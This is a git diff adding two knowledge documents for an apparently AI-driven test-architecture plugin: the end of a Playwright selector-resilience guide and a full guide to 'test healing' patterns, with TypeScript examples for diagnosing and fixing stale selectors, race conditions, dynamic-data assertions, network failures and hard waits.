+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
